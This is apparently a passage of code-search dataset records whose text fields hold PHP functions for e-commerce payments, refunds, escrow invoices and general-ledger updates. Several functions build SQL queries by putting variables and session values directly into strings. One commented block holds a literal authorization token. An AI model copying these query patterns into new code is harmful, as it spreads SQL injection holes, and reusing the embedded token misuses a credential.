"docid": "3ce3834fbf8338ce96abf352d1558f05", "score": "0.49511632", "text": "function _GetTx_PURCHASE_RECEIPT($source_detail) // OK\n {\n $dt = $source_detail->getEventDetail(); // get into array\n $detail = $source_detail; // save a copy\n\nif ((($dt['VAL-OWNER_MATL'] == 'Y' || $dt['VAL-CONSIGNMENT'] == 'Y') || $dt['VAL-ITEM_CATEGORY'] == 1) && \n $dt['VAL-CARINIT'] == '' && \n $dt['VAL-PROGRAM'] == '' )\n { // execute this clause if receiving consignment or expensed items to a warehouse (not to a car or program)\n // Create the Item account\n $tmpDim = new AccountDimensions();\n $tmpDim->addDimension('ITEM', $dt['ITEM']);\n $itemAccount = new ItemAccount($tmpDim);\n unset($tmpDim); \n\n // Create the warehouse item account\n $tmpDim = new AccountDimensions();\n $tmpDim->addDimension('ITEM', $dt['ITEM']);\n $tmpDim->addDimension('WAREHOUSE', $dt['WAREHOUSE']);\n $whsItemAccount = new WarehouseItemAccount($tmpDim);\n unset($tmpDim);\n\n// ---------------------------------------- 4, 6, 8\n // Create the InventoryTransaction and add the item and warehouse item accounts\n\n $detail->setEventDetailVar('INV_TRANSACTION_TYPE', 7); // TX #1\n $invTrans = new InventoryTransaction($detail); \n\n if ($detail->getEventDetailVar('VAL-BOE_SEARCH') == \"Y\" || \n $detail->getEventDetailVar('VAL-WAREHOUSE_TYPE') == \"1\") \n {\n $invTrans->addAccount($itemAccount);\n if ($detail->getEventDetailVar('VAL-CONSIGNMENT') != 'Y' && \n $detail->getEventDetailVar('VAL-OWNER_MATL') != 'Y') $do_pur_price = true; \n else $do_pur_price = false;\n } \n else $no_update_costprice = true; // DO NOT update\n \n $invTrans->addAccount($whsItemAccount); \n $this->_transArray[] = $invTrans;\n unset($invTrans);\n \n// ----------------------------------------\nif($do_pur_price) // If not consigment, do purchase price TX\n {\n $detail = $source_detail; // reset details back\n // Create the PurchasePriceTransaction // TX #2 \n // and add the cost price account\n $tmpDim = new AccountDimensions();\n $tmpDim->addDimension('ITEM', $dt['ITEM']);\n $CPAccount = new CostPriceAccount($tmpDim);\n unset($tmpDim); \n\n $detail->setEventDetailVar('CURRENT_ITEM_ACCOUNT_BALANCE', $itemAccount->getBalance());\n $purPriceTrans = new PurchasePriceTransaction($detail);\n $purPriceTrans->addAccount($CPAccount); \n \n $this->_transArray[] = $purPriceTrans; \n }\n }\n// -----------------------------------------\nelse { // 'NON-CONSIGMENT'\n // Create FIRST Inventory Transaction, THIS IS SHARED BELOW, DO NOT UNSET OR RESET\n $tmpDim = new AccountDimensions();\n $tmpDim->addDimension('ITEM', $dt['ITEM']);\n $itemAccount = new ItemAccount($tmpDim);\n unset($tmpDim); \n \n // Create the warehouse item account **** NON-EXISTING WAREHOUSE\n $tmpDim = new AccountDimensions();\n $tmpDim->addDimension('ITEM', $dt['ITEM']);\n $tmpDim->addDimension('WAREHOUSE', 'NX-WAREHOUSE');\n $whsItemAccount = new WarehouseItemAccount($tmpDim);\n unset($tmpDim);\n \n $detail->setEventDetailVar('INV_TRANSACTION_TYPE', 11); // INV TX #1\n $invTrans = new InventoryTransaction($detail);\n $invTrans->addAccount(&$itemAccount);\n $invTrans->addAccount(&$whsItemAccount);\n \n $this->_transArray[] = &$invTrans; \n unset($invTrans);\n \n $detail = $source_detail; // reset details back\n\n // Create SECOND Inventory Transaction\n $detail->setEventDetailVar('QUANTITY', 0 - $detail->getEventDetailVar('QUANTITY')); // REVERSE TX\n $detail->setEventDetailVar('SEQ_INVTRANS', $detail->getEventDetailVar('SEQ_INVTRANS') + 1); // Increment Sequence\n $detail->setEventDetailVar('INV_TRANSACTION_TYPE', 6); // INV TX #2\n\n $invTrans = new InventoryTransaction($detail);\n $invTrans->addAccount(&$itemAccount);\n $invTrans->addAccount(&$whsItemAccount);\n \n $this->_transArray[] = &$invTrans;\n unset($invTrans, $itemAccount);\n }\n return true;\n }", "title": "" }, { "docid": "8d9d7665657fba048c6b237f228c25da", "score": "0.49440384", "text": "public function get_refund_paid_details($invoice_id) {\n\n $result = $this->db->select('er.refund_on, er.mode_of_refund,er.othr_mode_of_refund, er.amount_refund, er.cheque_number,\n\n er.cheque_date, er.refund_by, er.refnd_reason, er.refnd_reason_ot')\n ->from('enrol_refund er')\n ->where('er.invoice_id', $invoice_id)\n ->order_by('er.trigger_date','DESC')->get()->result_object();/////addded by shubhranshu order by desc to fetch the latest record\n\n return $result;\n }", "title": "" }, { "docid": "c9e9739512e33a2e0c38deac39e03e16", "score": "0.49397552", "text": "public function BillingHistory(){\n\t\t$billingHistory = new ArrayList();\n\t\t$orders = Order::get()->filter(array('MemberID' => Member::currentUserID(),'OrderStatus' => 'c'))->sort('Created');\n\t\tforeach($orders as $order){\n\t\t\t$productId = $order->ProductID;\n\t\t\tif(($productId == 1 || $productId == 2 || $productId == 3) && $order->IsTrial == 1 ){\n\t\t\t\t$productDesc = 'First Month Trial';\n\t\t\t}else{\n\t\t\t\t$product = Product::get()->byID($productId);\n\t\t\t\t$productDesc = $product->Name;\n\t\t\t}\n\t\t\t$creditCard = $order->CreditCard();\n\t\t\t$ccNumber = 'XXXX-XXXX-XXXX-'.substr($creditCard->CreditCardNumber, -4);\n\t\t\t$orderDetails = array(\n\t\t\t\t\t'Date'=>$order->Created,\n\t\t\t\t\t'Description'=>$productDesc,\n\t\t\t\t\t'CCType'=>strtoupper($creditCard->CreditCardType),\n\t\t\t\t\t'CCNumber'=>$ccNumber,\n\t\t\t\t\t'Amount'=>$order->Amount\n\t\t\t\t);\n\t\t\t$billingHistory->push(new ArrayData($orderDetails));\n\t\t}\n\t\t$memBillHistory = MemberBillingHistory::get()->filter('MemberID',Member::currentUserID())->sort('Created');\n\t\tforeach($memBillHistory as $history){\n\t\t\t$creditCard = $history->CreditCard();\n\t\t\t$ccNumber = 'XXXX-XXXX-XXXX-'.substr($creditCard->CreditCardNumber, -4);\n\t\t\t$details = array(\n\t\t\t\t\t'Date'=>$history->Created,\n\t\t\t\t\t'Description'=> $history->Product()->Name,\n\t\t\t\t\t'CCType'=>strtoupper($creditCard->CreditCardType),\n\t\t\t\t\t'CCNumber'=>$ccNumber,\n\t\t\t\t\t'Amount'=>$history->Product()->RecurringPrice\n\t\t\t);\n\t\t\t$billingHistory->push(new ArrayData($details));\n\t\t}\n\t\t$sortedBillingHistory = $billingHistory->sort('Date');\n\t\treturn $sortedBillingHistory;\n\t}", "title": "" }, { "docid": "c996ac9018b804e5daef4b62a7347c1a", "score": "0.4924141", "text": "function _mtr_services_linnworks_archived($user_data) {\n watchdog(\"mtr_services_linnworks_archived\", json_encode($user_data));\n\n /*\n $jayParsedAry = [\n \"Refund\" => [\n \"ReferenceNumber\" => \"91291\",\n \"ExternalReference\" => \"\",\n \"RefundShippingAmount\" => 0,\n \"Items\" => [\n [\n \"SKU\" => \"Samsung-Galaxy-S10-Plus-Blue-Unlocked-128GB-Excellent-MAR\",\n \"OrderLineNumber\" => \"0\",\n \"RefundAmount\" => 434.99,\n \"Reason\" => \"Other\",\n \"SecondaryReason\" => \"\"\n ]\n ]\n ],\n \"AuthorizationToken\" => \"zWQsST6dklLqY0dNqlDRxCcNapv5T2pOpPma_8D_0Xw\"\n ];\n\n */\n try {\n /*\n $errors = [];\n // Set 4G orders to Completed\n $order_id = $user_data[\"Refund\"][\"ReferenceNumber\"];\n\n foreach ($user_data[\"Refund\"][\"Items\"] as $key => $linnworks_order) {\n\n $order = (isset($order_id)) ? commerce_order_load($order_id) : FALSE;\n if ($order !== FALSE) {\n //$order = commerce_order_status_update($order, \"refunded\");\n $order = commerce_order_status_update($order, \"completed\");\n watchdog(\"mtr_services_refundendpoint\", json_encode($order));\n // $order->field_tracking_no[0]['rendered'] = $linnworks_order[\"TrackingNumber\"];\n $commerce_order = commerce_order_save($order);\n if ($commerce_order != \"SAVED_NEW\" && $commerce_order != \"SAVED_UPDATED\") {\n $errors[] = $order_id;\n }\n }\n else {\n $errors[] = \"There is no proper Order ID\";\n watchdog(\"mtr_services_refundendpoint error\", \"There is no proper Order ID\");\n }\n }\n\n $orderserrors = [];\n foreach ($errors as $key => $error) {\n $orderserrors[] = [\n \"Error\" => \"Refund failed for some reason\",\n \"ReferenceNumber\" => $error\n ];\n }\n */\n $response = [\n \"Error\" => null,\n ];\n $output = json_encoded_response($response);\n\n print $output;\n }\n catch (Exception $e) {\n watchdog(\"mtr_services_error\", $e);\n }\n\n die();\n}", "title": "" }, { "docid": "5b70e9d1f2a530f4d9b8ea3744f7f219", "score": "0.4915638", "text": "public function previousOrderAction()\n {\n if(isset($_SESSION['id']))\n {\n $modelF = new ModelFunctions();\n $modelF->getOrderHistory($_SESSION['id']);\n } else{\n $_SESSION['error'] = ['Your must be logged in'];\n header('Location:index.php?action=login');\n }\n }", "title": "" }, { "docid": "e4a840a21dd0166cffc8f40627a3dcab", "score": "0.49029616", "text": "public function savePaymentHistory()\n {\n $quote = $this->_getQuote();\n $data['order_num'] = $quote->getReservedOrderId();\n $data['payment_method'] = \\Dilmah\\Payments\\Model\\Ntb::PAYMENT_METHOD_NTB_CODE;\n $grandTotal = $quote->getGrandTotal();\n $grandTotal = number_format($grandTotal, 2);\n $data['amount'] = $grandTotal;\n $data['time_started'] = $this->date->gmtDate();\n\n try {\n $this->item->setData($data);\n $history = $this->item->save();\n if ($history->getId()) {\n $this->_checkoutSession->setLastPaymentHistoryId($history->getId());\n }\n } catch (Exception $e) {\n $this->logger->error('SAVE PAYMENT HISTORY - TO NTB: ' . $e->getMessage());\n }\n }", "title": "" }, { "docid": "62575569a44b405d92058363707cd7bc", "score": "0.4885986", "text": "public function prepareLedger(){\r\n $date= date(\"d/m/Y\");\r\n $period=date(\"t/m/Y\");\r\n $helper=new helpers();\r\n $memo_id=$helper->getMemo();\r\n $counter=$this->connect->Prepare(\"SELECT * FROM tbl_general_ledger WHERE TRANSFERED='0' AND PERIOD='$period'\");\r\n $stmt=$this->connect->Execute($counter);\r\n $count=$stmt->RecordCount();\r\n \r\n \r\n $STM2 = $this->connect->Prepare(\"SELECT * FROM tbl_general_ledger WHERE TRANSFERED='0' AND PERIOD='$period' \"); \r\n $result = $this->connect->Execute($STM2);\r\n \r\n while($rtmt=$result->FetchRow()){\r\n {\r\n $count++;\r\n $memo=\"GL\".$count;\r\n extract($rtmt);\r\n echo $account= $ACCOUNT_ID;\r\n \r\n if(!empty($GENERAL_LEDGER_DEBIT)){\r\n $balance=\"Debit\";\r\n $amount=$GENERAL_LEDGER_DEBIT;\r\n }\r\n else{\r\n $balance=\"Credit\";\r\n $amount=$GENERAL_LEDGER_CREDIT;\r\n }\r\n echo $balance;\r\n print_r( $rtmt = $this->connect->Prepare(\"SELECT * FROM tbl_general_ledger_transactions WHERE NARRATIVE='Opening Balances' AND ACCOUNT='$account' AND PERIOD='$period' \")); \r\n $out = $this->connect->Execute($rtmt);\r\n $a=$out->FetchNextObject();\r\n if($out->RecordCount()==0){\r\n if($balance=='Credit'){\r\n \r\n $qt=$this->connect->Prepare(\"INSERT INTO `tbl_general_ledger_transactions` ( `TRANS_DATE`, `PERIOD`, `ACCOUNT`, `NARRATIVE`, `CREDIT`,TRANSACTION_ID, `ACTOR`) VALUES ( '$date','$period', '$ACCOUNT_ID', 'Opening Balances', '$amount', '$memo_id', '$_SESSION[ID]')\");\r\n $this->connect->Execute($qt);\r\n $rtmt=$this->connect->Prepare(\"update tbl_general_ledger SET TRANSFERED='1' WHERE ACCOUNT_ID='$account'\");\r\n $this->connect->Execute($rtmt);\r\n $helper->UpdateMemo();\r\n }\r\n elseif($balance=='Debit'){\r\n \r\n $qt=$this->connect->Prepare(\"INSERT INTO `tbl_general_ledger_transactions` ( `TRANS_DATE`, `PERIOD`, `ACCOUNT`, `NARRATIVE`, `DEBIT`,TRANSACTION_ID, `ACTOR`) VALUES ( '$date','$period', '$ACCOUNT_ID', 'Opening Balances', '$amount', '$memo_id', '$_SESSION[ID]')\");\r\n $this->connect->Execute($qt);\r\n $rtmt=$this->connect->Prepare(\"update tbl_general_ledger SET TRANSFERED='1' WHERE ACCOUNT_ID='$account'\");\r\n $this->connect->Execute($rtmt);\r\n $helper->UpdateMemo();\r\n }\r\n \r\n } \r\n // update opening balances\r\n else{\r\n if($balance=='Credit'){\r\n \r\n $qt=$this->connect->Prepare(\"UPDATE `tbl_general_ledger_transactions` SET CREDIT='$amount' WHERE ACCOUNT='$account'\");\r\n $this->connect->Execute($qt);\r\n $rtmt=$this->connect->Prepare(\"update tbl_general_ledger SET TRANSFERED='1' WHERE ACCOUNT_ID='$account'\");\r\n $this->connect->Execute($rtmt);\r\n \r\n }\r\n elseif($balance=='Debit'){\r\n \r\n $qt=$this->connect->Prepare(\"UPDATE `tbl_general_ledger_transactions` SET DEBIT='$amount' WHERE ACCOUNT='$account'\");\r\n $this->connect->Execute($qt);\r\n $rtmt=$this->connect->Prepare(\"update tbl_general_ledger SET TRANSFERED='1' WHERE ACCOUNT_ID='$account'\");\r\n $this->connect->Execute($rtmt);\r\n \r\n }\r\n }\r\n \r\n }\r\n\r\n \r\n }\r\n \r\n }", "title": "" }, { "docid": "a52d01fc93ce0f5c16e7b5c2adffc4ac", "score": "0.4881373", "text": "public static function getTotalVRFOriginal($applicantID, $date, $loan_given_to)\n {\n $date1 = strtotime($date);\n $totlaVRF = 0;\n //check for benefiacy repayment\n $repayment = LoanRepaymentDetail::getBeneficiaryRepaymentByDate($applicantID, date(\"Y-m-d 23:59:59\", strtotime($date)), $loan_given_to);\n if ($repayment) {\n //Caliculate VRF On Repayment\n //get the active loan summary\n $activeLoanSummary = self::getActiveLoanSummaryOfBeneficiary($applicantID, $loan_given_to);\n $activeLoanSummary_id = $activeLoanSummary->loan_summary_id;\n\n\n $itemCodeVRF = \"VRF\";\n $vrf_id = \\backend\\modules\\repayment\\models\\EmployedBeneficiary::getloanRepaymentItemID($itemCodeVRF);\n $loanVRF = LoanSummaryDetail::findBySql(\"SELECT loan_summary_detail.amount AS amount FROM loan_summary_detail INNER JOIN loan_summary ON loan_summary.loan_summary_id=loan_summary_detail.loan_summary_id WHERE loan_summary_detail.applicant_id='$applicantID' AND loan_summary_detail.loan_summary_id='$activeLoanSummary_id' AND loan_summary_detail.loan_repayment_item_id='$vrf_id' AND loan_summary_detail.loan_given_to='$loan_given_to'\")->one();\n $totalAmountVRF = $loanVRF->amount;\n //getting accumulated VRF\n /*\n\t\t$queryVRFaccumulated = LoanSummaryDetail::findBySql(\"SELECT DISTINCT loan_summary_id FROM loan_summary_detail WHERE applicant_id='$applicantID' AND loan_repayment_item_id='$vrf_id' AND loan_summary_id<>'$activeLoanSummary_id' AND loan_summary_detail.is_active<>'-1'\")->all();\n\n\t\tforeach ($queryVRFaccumulated as $resultsVRFaccumulated) {\n $OtherLoanSummaryID=$resultsVRFaccumulated->loan_summary_id;\n $totalVRFAccumulated = LoanSummary::findBySql(\"SELECT vrf_accumulated AS vrf_accumulated FROM loan_summary WHERE loan_summary_id='$OtherLoanSummaryID'\")->one();\n\n $vrfAccumulatedFinal +=$totalVRFAccumulated->vrf_accumulated;\n }\n */\n //end getting accumulated VRF\n //$totlaVRF=$vrfAccumulatedFinal + $totalAmountVRF;\n $totlaVRF = $totalAmountVRF;\n } else {\n //CALCULATE VRF BEFORE ANY REPAYMENT\n $totlaVRF = \\backend\\modules\\repayment\\models\\EmployedBeneficiary::getIndividualEmployeesVRF($applicantID, $date1);\n }\n if ($totlaVRF < 0) {\n $totlaVRF = 0;\n }\n return $totlaVRF;\n }", "title": "" }, { "docid": "3f6246c3fd292fed5dd21bb3ed01c149", "score": "0.48786527", "text": "function paypal_cancel()\n {\n $invoice_id = $this->session->userdata('invoice_id');\n $this->db->where('membership_payment_id', $invoice_id);\n $this->db->delete('membership_payment');\n $this->session->set_userdata('invoice_id', '');\n $this->session->set_flashdata('alert', 'payment_cancel');\n redirect(base_url() . 'vendor/package/', 'refresh');\n }", "title": "" }, { "docid": "336ef4b3ea22b9dff1fc77db7a778c51", "score": "0.48774976", "text": "public function chargebackAction()\n {\n $type = $this->_request['type'];\n $transactionId = $this->_request['event_resource']['id'];\n $this->requireTransactions();\n $transactions = new Services_Paymill_Transactions($this->_privateKey, $this->_apiUrl);\n $transaction = $transactions->getOne($transactionId);\n if($this->getWebhookState($type) && isset($transaction['id'])){\n $this->_request['action'] = 'Chargeback';\n $this->updateOrderStatus();\n } else {\n\n $this->successAction();\n }\n }", "title": "" }, { "docid": "b40d80a900f37fe9c3ab1c083750a0a2", "score": "0.48715246", "text": "public function getPreviousData()\n {\n return $this->_previousData;\n }", "title": "" }, { "docid": "9ae5294ac68bf69d9665415976f0040f", "score": "0.48615798", "text": "function vouguepay_cancel()\n {\n $invoice_id = $this->session->userdata('invoice_id');\n $this->db->where('membership_payment_id', $invoice_id);\n $this->db->delete('membership_payment');\n $this->session->set_userdata('invoice_id', '');\n $this->session->set_flashdata('alert', 'payment_cancel');\n redirect(base_url() . 'vendor/package/', 'refresh');\n }", "title": "" }, { "docid": "e0355801503b507bcbb5735b07ff64da", "score": "0.48594686", "text": "final public function getPrevious () {}", "title": "" }, { "docid": "e0355801503b507bcbb5735b07ff64da", "score": "0.48594686", "text": "final public function getPrevious () {}", "title": "" }, { "docid": "a43347d7a6a7da506b3d3862cd03e07c", "score": "0.4853588", "text": "public function calcPrevMonthBalanceAction()\n {\n $this->console->writeLine(\n \"Calculating Running Balance for all Users for previous month\",\n ColorInterface::GREEN\n );\n $this->runningBalanceService->indexPreviousMonthBalance();\n $this->console->writeLine(\"Finished! \", ColorInterface::GREEN);\n }", "title": "" }, { "docid": "15aa6349c53909b0a6a49805b42caa6a", "score": "0.48517582", "text": "public function cancel()\n {\n /*$transactions = Transaction::query()->where([\n ['make_payment_id', $this->id],\n ['status', Transaction::ACTIVE]\n ])->get();\n if (count($transactions)) {\n foreach($transactions as $transaction) {\n $transaction->cancel();\n }\n }*/\n $this->update(['status' => static::CANCELLED ]);\n }", "title": "" }, { "docid": "830576427671fb3405ef03937496d32b", "score": "0.48501608", "text": "public function testRollback()\n {\n $customerId = 101;\n\n $this->assertNotNull($transit = LogTransitsManager::find()->where(['customer_id' => $customerId])->orderBy(['created' => SORT_DESC])->one());\n $this->assertTrue($transit->rollback());\n $this->assertNotNull($card = Card::find()->where(['customer_id' => $customerId])->one());\n $this->assertEquals(3, $card->user_id);\n\n $this->assertNotNull($transit = LogTransitsManager::find()->where(['customer_id' => $customerId])->orderBy(['created' => SORT_DESC])->one());\n $this->assertTrue($transit->rollback());\n $this->assertNotNull($card = Card::find()->where(['customer_id' => $customerId])->one());\n $this->assertEquals(2, $card->user_id);\n\n $this->assertNull($transit = LogTransitsManager::find()->where(['customer_id' => $customerId])->one());\n }", "title": "" }, { "docid": "7cbf971075e04eb10802bb08a91c2b99", "score": "0.4849697", "text": "function cancel_unlinked_escrow_invoices()\n {\n global $ilance, $phrase, $ilconfig, $ilpage;\n \n $cronlog = '';\n \n if ($ilconfig['escrowsystem_enabled'])\n {\n $sql = $ilance->db->query(\"\n SELECT projectid, invoiceid\n FROM \" . DB_PREFIX . \"invoices\n WHERE invoicetype = 'escrow'\n AND status = 'unpaid'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sql) > 0)\n {\n $sent = 0;\n while ($resms = $ilance->db->fetch_array($sql, DB_ASSOC))\n {\n $sqlec = $ilance->db->query(\"\n SELECT escrow_id\n FROM \" . DB_PREFIX . \"projects_escrow\n WHERE project_id = '\" . $resms['projectid'] . \"'\n AND invoiceid = '\" . $resms['invoiceid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sqlec) == 0)\n {\n $sent++;\n // cannot find escrow tied to invoice\n // cancel this invoice as we're not sure what happened!?!\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET status = 'cancelled',\n custommessage = '\" . $ilance->db->escape_string('{_transaction_cancelled_due_to_unlinked_and_unpaid_escrow_account_for_this_specific_invoice}') . \"'\n WHERE invoiceid = '\" . $resms['invoiceid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n }\n $cronlog .= 'Removed ' . $sent . ' unlinked/unpaid escrow transactions (reason: auction not found), ';\n unset($sent);\n }\n \n // we'll use the same logic for unlinked escrows as above for buynow escrow orders below\n $sql = $ilance->db->query(\"\n SELECT projectid, invoiceid\n FROM \" . DB_PREFIX . \"invoices\n WHERE invoicetype = 'buynow'\n AND status = 'unpaid'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sql) > 0)\n {\n $sent = 0;\n while ($resin = $ilance->db->fetch_array($sql, DB_ASSOC))\n {\n $sqlbn = $ilance->db->query(\"\n SELECT orderid\n FROM \" . DB_PREFIX . \"buynow_orders\n WHERE project_id = '\" . $resin['projectid'] . \"'\n AND invoiceid = '\" . $resin['invoiceid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n if ($ilance->db->num_rows($sqlbn) == 0)\n {\n $sent++;\n // cannot find buynow escrow tied to invoice\n // cancel this invoice as we're not sure what happened!?!\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET status = 'cancelled',\n custommessage = '\" . $ilance->db->escape_string('{_transaction_cancelled_due_to_unlinked_and_unpaid_escrow_account_for_this_specific_invoice}') . \"'\n WHERE invoiceid = '\" . $resin['invoiceid'] . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n }\n $cronlog .= 'Removed ' . $sent . ' unlinked/unpaid buy now escrow transactions (reason: auction not found), ';\n unset($sent);\n }\n }\n return $cronlog;\n }", "title": "" }, { "docid": "5d12ef80bff70bba89cb581bb947b45a", "score": "0.48462695", "text": "public function referralstatusCronAction(){ \n \n $this->_helper->layout()->disableLayout();\n $this->_helper->viewRenderer->setNoRender(true); \n \n $objCore = Engine_Core_Core::getInstance();\n $realobj = $objCore->getAppSetting();\n $apikey = $realobj->pagar->ApiKey;\n \n $paymentnewtable = Admin_Model_PaymentNew::getInstance();\n $teachingclass = Admin_Model_TeachingClasses::getInstance();\n $teachersstudents = Admin_Model_Classenroll::getInstance();\n $uservideostatus = Admin_Model_UserVideoStatus::getInstance();\n $classreviewscount = Admin_Model_ClassesReview::getInstance();\n $paymentformulamodal = Admin_Model_PaymentFormula::getInstance();\n $mailer = Engine_Mailer_Mailer::getInstance();\n $projects = Admin_Model_Projects::getInstance(); \n $teacherpaymentmodal = Admin_Model_TeacherPayment::getInstance();\n $referralPaymenttableModal = Admin_Model_ReferralPaymentTable::getInstance();\n \n echo '<-------------------------------------Teacher transaction status update cron ------------------------------------------->';\n echo '<html><table border=\"1\">';\n print '<th>userid</th><th>email</th>status<th>comments</th>';\n $result = $referralPaymenttableModal->selectAllPaidUsers();\n if($result){\n echo \"<tbody>\"; \n foreach ($result as $val) {\n echo \"<tr>\"; \n if(!empty($val[\"transaction_id\"])){\n $data[\"api_key\"] = $apikey;\n try {\n $params[\"url\"]='https://api.pagar.me/1/transfers/'.$val['transaction_id'].'';\n $params[\"parameters\"]= $data; \n $params[\"method\"]= \"GET\"; \n $rs= new RestClient($params);\n $result= $rs->run();\n if($result['code']=== 200){\n $pagarinfo = (array)json_decode($result['body']);\n if($pagarinfo['status']=='pending_transfer'){\n $dat['pay_status'] = 2; \n }else if($pagarinfo['status']=='Transferred'){\n $dat['pay_status'] = 1; \n \n }else if($pagarinfo['status']=='failed'){\n \n $dat['pay_status'] = 3; \n }else if($pagarinfo['status']=='processing '){\n $dat['pay_status'] = 4; \n \n }else if($pagarinfo['status']=='canceled'){\n $dat['pay_status'] = 5; \n }\n $referralPaymenttableModal->updateReferralPaymentInfo($val[\"ref_id\"],$dat);\n print \"<td> \" . $val[\"user_id\"] . \"</td>\" . \"<td> \" . $val[\"email\"] . \"</td>\" . \"<td>\" . $pagarinfo[\"status\"] . \"</td>\"; \n }\n echo \"</tr>\"; \n } catch (Exception $e) {\n \n } \n }else{\n print \"<td> \" . $val[\"user_id\"] . \"</td>\" . \"<td> \" . $val[\"email\"] . \"</td>\" . \"<td>Payment is not done yet</td>\"; \n \n }\n }\n echo \"</tbody>\"; \n }\n else{\n echo \"<tbody>\";\n print '<td>No Pending status user exists to check</td><td>-</td><td>-</td><td>-</td>'; \n echo \"</tbody>\";\n } \n echo \"</table></html>\";\n echo '<-------------------------------------cron executed successfully-------------------------------------------->';\n die(); \n \n}", "title": "" }, { "docid": "ca98ca84435baac172f43b521b575fb7", "score": "0.48431906", "text": "function SellerCancelledStatus()\n {\n $user_id = $this->input->post('user_id');\n $order_id = $this->input->post('order_id');\n $status = $this->input->post('status');\n\n $this->formValidation(\"User Id\",$user_id,\"required\");\n $this->formValidation(\"Order Id\",$order_id,\"required\");\n $this->formValidation(\"Status\",$status,\"required\");\n \n $Details=$this->Api_model->OrderList(array('id'=>$order_id,'seller_id'=>$user_id))->row();\n\n $check_now = $this->Api_model->HistoryList(array('order_id'=>$order_id,'history_type'=>'5'))->row();\n\n \n if(empty($check_now))\n {\n $data['status']=\"0\";\n $data['message']=\"Record not found\";\n }\n else\n {\n $Orderid = $Details->id;\n \n $buyer_id = $Details->buyer_id;\n \n $seller_id = $Details->seller_id;\n\n $orderStatus = $Details->order_status;\n \n if($status==1)\n {\n $Data=array( \n \n 'status'=>'1',\n \n 'updated_at'=>date('Y-m-d H:i:s')\n );\n\n $Cancelled=array(\n \n 'order_status'=>'7',\n \n 'cancelled_at'=>date('Y-m-d H:i:s')\n );\n\n $this->Api_model->Orders(array('id'=>$order_id),$Cancelled);\n \n if($this->Api_model->AddHistory(array('order_id'=>$order_id,'history_type'=>'5'),$Data))\n {\n $data['status']=\"1\";\n \n $data['message']=\"Accepted Successfully\";\n\n $this->prepreFcm('cancelBuyeraccept',array('user_id'=>$buyer_id,'order_id'=>$order_id,'status'=>$orderStatus));\n }\n else\n {\n $data['status']=\"0\";\n \n $data['message']=\"Something went wrong\";\n }\n }\n \n if($status==2)\n {\n $Data=array( \n \n 'status'=>'2',\n \n 'updated_at'=>date('Y-m-d H:i:s')\n );\n \n if($this->Api_model->AddHistory(array('order_id'=>$order_id,'history_type'=>'5'),$Data))\n {\n $data['status']=\"1\";\n \n $data['message']=\"Rejected Successfully\";\n\n $this->prepreFcm('cancelBuyerreject',array('user_id'=>$buyer_id,'order_id'=>$order_id,'status'=>$orderStatus));\n }\n else\n {\n $data['status']=\"0\";\n \n $data['message']=\"Something went wrong\";\n }\n }\n }\n \n header( 'Content-type:application/json');\n print json_encode( $data); \n exit; \n }", "title": "" }, { "docid": "e550680d4854835903d85a44c747d16b", "score": "0.4842448", "text": "public function revertDeliveryPayment($data)\n\t{\n\t\t$status = array();\n\t\t$customer_id = $data['Schedule']['customer_id'];\n\t\t$amount = $data['Schedule']['total'];\n\t\t$name = 'Delivery Completed Transaction';\n\t\t$description = '';\n\t\t$schedule_id = $data['Schedule']['id'];\n\t\t$profile_id = $data['Schedule']['profile_id'];\n\t\t$payment_status = $data['Schedule']['payment_status'];\n\t\t$payment_id = $data['Schedule']['payment_id'];\n\t\t$invoices = $data['Schedule']['invoices'];\n\t\t\n\t\tif(count($invoices)>0){\n\t\t\tforeach ($invoices as $ikey => $ivalue) {\n\t\t\t\t$invoice_id = $ivalue['invoice_id'];\n\t\t\t\t$invoice_total = $ivalue['total'];\n\t\t\t\t$invs = ClassRegistry::init('Invoice')->find('all',array('conditions'=>array('invoice_id'=>$invoice_id,'company_id'=>$_SESSION['company_id'])));\n\t\t\t\tif(count($invs)>0){\n\t\t\t\t\tforeach ($invs as $inv) {\n\t\t\t\t\t\t$inv_id = $inv['Invoice']['id'];\n\t\t\t\t\t\t$pre_tax += $inv['Invoice']['pretax'];\n\t\t\t\t\t\t$tax += $inv['Invoice']['tax'];\n\t\t\t\t\t\t//make invoice status all paid and clear from dashboard\n\t\t\t\t\t\t$inv_status = array();\n\t\t\t\t\t\t$inv_status['status'] = 1;\n\t\t\t\t\t\tClassRegistry::init('Invoice')->id = $inv_id;\n\t\t\t\t\t\tClassRegistry::init('Invoice')->save($inv_status);\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "b4c947a83bb0d9e1797acddfe379a49b", "score": "0.4840358", "text": "public function backAction() {\n\n $post = $_POST; // Returned values from the IPG - after payment\n $paymentBackModel = new PaymentBackModel($post);\n\n\n if ($paymentBackModel->getState() == 1) // Payment has been successful\n {\n // STEP 1 :\n // FIND YOUR TRANSACTION RECORD BY YOUR BUY_ID or TOKEN\n // $paymentBackModel->getBuyId()\n // $paymentBackModel->getToken()\n\n\n // STEP 2:\n // CHECK RETURNED AMOUNT ($paymentBackModel->getAmount()) WITH YOUR RECORD AMOUNT\n // These two should be equal\n\n\n // NOW!!!\n\n\n // IF ALL IS OK\n // $confirmRequest = new ConfirmRequest();\n // $confirmRequest->send($paymentBackModel->getToken());\n\n // ELSE\n // $reverseRequest = new ReverseRequest();\n // $reverseRequest->send($paymentBackModel->getToken());\n }\n else\n {\n $reverseRequest = new ReverseRequest();\n $reverseRequest->send($paymentBackModel->getToken());\n\n }\n\n // return your view with payment status\n }", "title": "" }, { "docid": "0d955f046a7f909d4345c4171d457a97", "score": "0.48359698", "text": "public function logTrans($var_recieve) {\r\n $this->db->select( \"trlid,trl_cbid, trl_nomer, trl_coa, trl_descrip, trl_debit,\r\n trl_kredit, trl_croscoa, trl_nota, pel_nama as trl_pelid, sup_nama as trl_supid, \r\n trl_norangka, cc_name as trl_ccid,\r\n trl_headstatus, trl_name, trl_trans, trl_createon, trl_date, trl_automatic\" );\r\n $this->db->where(\"trl_date BETWEEN '\" . $var_recieve['dateFrom'] . \"' \r\n AND '\" . $var_recieve['dateTo'] . 